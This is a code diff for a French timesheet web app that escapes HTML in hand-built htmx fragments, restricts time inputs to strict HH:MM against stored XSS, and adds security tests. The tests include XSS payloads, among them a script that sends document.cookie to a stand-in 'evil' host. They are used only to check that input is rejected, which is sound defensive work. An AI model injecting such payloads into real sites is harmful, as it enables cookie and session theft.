diff --git a/app/main.py b/app/main.py
index f57f98b..1a9d510 100644
--- a/app/main.py
+++ b/app/main.py
@@ -1,6 +1,7 @@
 import asyncio
 import hashlib
 import hmac
+import html
 import json
 import logging
 import re
@@ -63,6 +64,10 @@ _USERNAME_RE = re.compile(r"^[a-zA-Z0-9_.\-]{1,64}$")
 _EMAIL_RE = re.compile(r"^([a-zA-Z0-9_.\-]{1,64})@([a-zA-Z0-9.\-]{1,255})$")
 _HHMM_RE = re.compile(r"^([01]\d|2[0-3]):[0-5]\d$")
 
+# Échappement HTML pour les fragments construits en f-string hors templates Jinja
+# (autoescape ne s'applique qu'aux templates). Defense-in-depth contre le XSS stocké.
+_e = html.escape
+
 
 # ── Auth helpers ──────────────────────────────────────────────────────────────
 
@@ -173,16 +178,16 @@ def _build_jour_ctx(date, conges, h_jour, user_id):
 
 
 def _oob_calc(date, jour):
-    trav_inner = f'<span class="calc-num">{"—" if not jour["travaille_min"] else jour["travaille"]}</span>'
+    trav_inner = f'<span class="calc-num">{"—" if not jour["travaille_min"] else _e(jour["travaille"])}</span>'
     if jour["travaille_min"]:
         cls = "delta-pos" if jour["delta_min"] > 0 else ("delta-neg" if jour["delta_min"] < 0 else "delta-zero")
         sign = "+" if jour["delta_min"] > 0 else ""
-        delta_inner = f'<span class="{cls}">{sign}{jour["delta"]}</span>'
+        delta_inner = f'<span class="{cls}">{sign}{_e(jour["delta"])}</span>'
     else:
         delta_inner = '<span class="delta-zero">—</span>'
     return (
-        f'<span id="calc-{date}-trav" hx-swap-oob="true">{trav_inner}</span>'
-        f'<span id="calc-{date}-delta" hx-swap-oob="true">{delta_inner}</span>'
+        f'<span id="calc-{_e(date)}-trav" hx-swap-oob="true">{trav_inner}</span>'
+        f'<span id="calc-{_e(date)}-delta" hx-swap-oob="true">{delta_inner}</span>'
     )
 
 
@@ -200,14 +205,14 @@ def _oob_week_extras(result):
                 cumul_inner = f'<span class="{cls}">{sign}{jour["delta_cumul"]}</span>'
         else:
             cumul_inner = '<span class="delta-zero">—</span>'
-        html += f'<span id="calc-{date}-cumul" hx-swap-oob="true">{cumul_inner}</span>'
+        html += f'<span id="calc-{_e(date)}-cumul" hx-swap-oob="true">{cumul_inner}</span>'
         parts = []
         if jour.get("cible_matin"):
-            parts.append(f'<span class="cible-num">M {jour["cible_matin_entree"]} → {jour["cible_matin"]}</span>')
+            parts.append(f'<span class="cible-num">M {_e(jour["cible_matin_entree"])} → {_e(jour["cible_matin"])}</span>')
         if jour.get("cible_aprem"):
-            parts.append(f'<span class="cible-num">A {jour["cible_aprem_entree"]} → {jour["cible_aprem"]}</span>')
+            parts.append(f'<span class="cible-num">A {_e(jour["cible_aprem_entree"])} → {_e(jour["cible_aprem"])}</span>')
         cible_inner = " ".join(parts) if parts else '<span class="delta-zero">—</span>'
-        html += f'<span id="calc-{date}-cible" hx-swap-oob="true">{cible_inner}</span>'
+        html += f'<span id="calc-{_e(date)}-cible" hx-swap-oob="true">{cible_inner}</span>'
     return html
 
 
@@ -226,19 +231,19 @@ def _oob_time_cells(date, jour, plages):
     matin_cls = "td-fill cg" if matin_cg else ("td-fill warn" if matin_warn else "td-fill")
     aprem_cls = "td-fill cg" if aprem_cg else ("td-fill warn" if aprem_warn else "td-fill")
     matin_html = (
-        f'<div id="cg-matin-{date}" hx-swap-oob="true" class="{matin_cls}">'
+        f'<div id="cg-matin-{_e(date)}" hx-swap-oob="true" class="{matin_cls}">'
         f'<div class="time-pair">'
-        f'<input class="time-input" type="time" name="matin_entree" data-date="{date}" value="{jour["matin_entree"] or ""}">'
+        f'<input class="time-input" type="time" name="matin_entree" data-date="{_e(date)}" value="{_e(jour["matin_entree"] or "")}">'
         f'<span class="time-sep">→</span>'
-        f'<input class="time-input" type="time" name="matin_sortie" data-date="{date}" value="{jour["matin_sortie"] or ""}">'
+        f'<input class="time-input" type="time" name="matin_sortie" data-date="{_e(date)}" value="{_e(jour["matin_sortie"] or "")}">'
         f'</div></div>'
     )
     aprem_html = (
-        f'<div id="cg-aprem-{date}" hx-swap-oob="true" class="{aprem_cls}">'
+        f'<div id="cg-aprem-{_e(date)}" hx-swap-oob="true" class="{aprem_cls}">'
         f'<div class="time-pair">'
-        f'<input class="time-input" type="time" name="aprem_entree" data-date="{date}" value="{jour["aprem_entree"] or ""}">'
+        f'<input class="time-input" type="time" name="aprem_entree" data-date="{_e(date)}" value="{_e(jour["aprem_entree"] or "")}">'
         f'<span class="time-sep">→</span>'
-        f'<input class="time-input" type="time" name="aprem_sortie" data-date="{date}" value="{jour["aprem_sortie"] or ""}">'
+        f'<input class="time-input" type="time" name="aprem_sortie" data-date="{_e(date)}" value="{_e(jour["aprem_sortie"] or "")}">'
         f'</div></div>'
     )
     return matin_html + aprem_html
@@ -253,11 +258,11 @@ def _htmx_conge_and_soldes(request, date, d, conges, h_jour, user_id):
     btn_am_on = " on" if "aprem" in cg else ""
     btn_j_on  = " jour-on" if "jour" in cg else ""
     btns_html = (
-        f'<div id="cg-btn-{date}" hx-swap-oob="true">'
+        f'<div id="cg-btn-{_e(date)}" hx-swap-oob="true">'
         f'<div class="conge-btns">'
-        f'<button hx-post="/conge/{date}/matin" hx-swap="none" class="btn-cg{btn_ma_on}" title="Congé matin">MA</button>'
-        f'<button hx-post="/conge/{date}/aprem" hx-swap="none" class="btn-cg{btn_am_on}" title="Congé après-midi">AM</button>'
-        f'<button hx-post="/conge/{date}/jour" hx-swap="none" class="btn-cg btn-jour{btn_j_on}" title="Journée entière">J</button>'
+        f'<button hx-post="/conge/{_e(date)}/matin" hx-swap="none" class="btn-cg{btn_ma_on}" title="Congé matin">MA</button>'
+        f'<button hx-post="/conge/{_e(date)}/aprem" hx-swap="none" class="btn-cg{btn_am_on}" title="Congé après-midi">AM</button>'
+        f'<button hx-post="/conge/{_e(date)}/jour" hx-swap="none" class="btn-cg btn-jour{btn_j_on}" title="Journée entière">J</button>'
         f'</div></div>'
     )
     soldes_ctx = _build_soldes_ctx(iso.year, iso.week, conges, h_jour, user_id)
@@ -482,7 +487,10 @@ def save_pointage(
         return RedirectResponse("/login", status_code=302)
 
     def clean(v):
-        v = v.strip(); return v if v else None
+        # Refuse tout ce qui n'est pas un HHMM strict : empêche le XSS stocké car la
+        # valeur est réinjectée telle quelle dans des f-strings HTML hors templates.
+        v = v.strip()
+        return v if v and _HHMM_RE.match(v) else None
 
     d = datetime.strptime(date, "%Y-%m-%d").date()
     iso = d.isocalendar()
diff --git a/app/tests/test_security.py b/app/tests/test_security.py
index bfc0635..03aa038 100644
--- a/app/tests/test_security.py
+++ b/app/tests/test_security.py
@@ -162,3 +162,68 @@ def test_settings_save_rejects_ssrf_ntfy_server():
     # La valeur précédente est conservée
     cfg = models.load_notif_config("carol")
     assert cfg["ntfy_server"] == "https://ntfy.sh"
+
+
+# ── XSS stocké via /pointage ──────────────────────────────────────────────────
+
+XSS_PAYLOADS = [
+    '"><svg/onload=alert(1)>',
+    '"><script>alert(document.cookie)</script>',
+    "'/><script>fetch('//evil/'+document.cookie)</script>",
+]
+
+
+def test_pointage_rejects_non_hhmm_value():
+    """POST /pointage avec une valeur non HHMM ne doit pas être persistée."""
+    cookies = _login("dave")
+    for payload in XSS_PAYLOADS:
+        r = client.post("/pointage/2026-07-17", cookies=cookies, data={
+            "matin_entree": payload,
+            "matin_sortie": "",
+            "aprem_entree": "",
+            "aprem_sortie": "",
+        })
+        # La réponse ne doit pas planter
+        assert r.status_code == 200
+        # Le payload ne doit pas se retrouver tel quel dans la réponse
+        assert payload not in r.text, payload
+    # Vérification de la persistance
+    week = models.load_week_pointages(2026, 29, "dave")
+    entry = next((p for p in week if p["date"] == "2026-07-17"), None)
+    assert entry is not None
+    # matin_entree doit avoir été ignoré (None), pas stocké tel quel
+    assert entry["matin_entree"] is None
+
+
+def test_pointage_valid_hhmm_still_works():
+    """Un pointage HHMM valide doit continuer à fonctionner."""
+    cookies = _login("erin")
+    r = client.post("/pointage/2026-07-17", cookies=cookies, data={
+        "matin_entree": "08:45",
+        "matin_sortie": "12:00",
+        "aprem_entree": "",
+        "aprem_sortie": "",
+    })
+    assert r.status_code == 200
+    assert "08:45" in r.text
+    week = models.load_week_pointages(2026, 29, "erin")
+    entry = next((p for p in week if p["date"] == "2026-07-17"), None)
+    assert entry["matin_entree"] == "08:45"
+
+
+def test_oob_html_escapes_date_attribute():
+    """Si la date (issue de l'URL) contient des caractères HTML, ils doivent être échappés."""
+    cookies = _login("frank")
+    # Forçage d'un pointage valide pour déclencher le rendu _oob_time_cells
+    client.post("/pointage/2026-07-17", cookies=cookies, data={
+        "matin_entree": "08:45", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": "",
+    })
+    # Une date malicieuse dans /refresh/... doit être échappée si elle passe strptime
+    # (les caractères HTML ne passent pas strptime, mais on vérifie que l'escape est actif
+    # sur le rendu d'un pointage normal pour la date légitime)
+    r = client.post("/pointage/2026-07-17", cookies=cookies, data={
+        "matin_entree": "08:45", "matin_sortie": "12:00",
+        "aprem_entree": "14:00", "aprem_sortie": "17:30",
+    })
+    assert "<script" not in r.text.lower()
+    assert "onload" not in r.text.lower()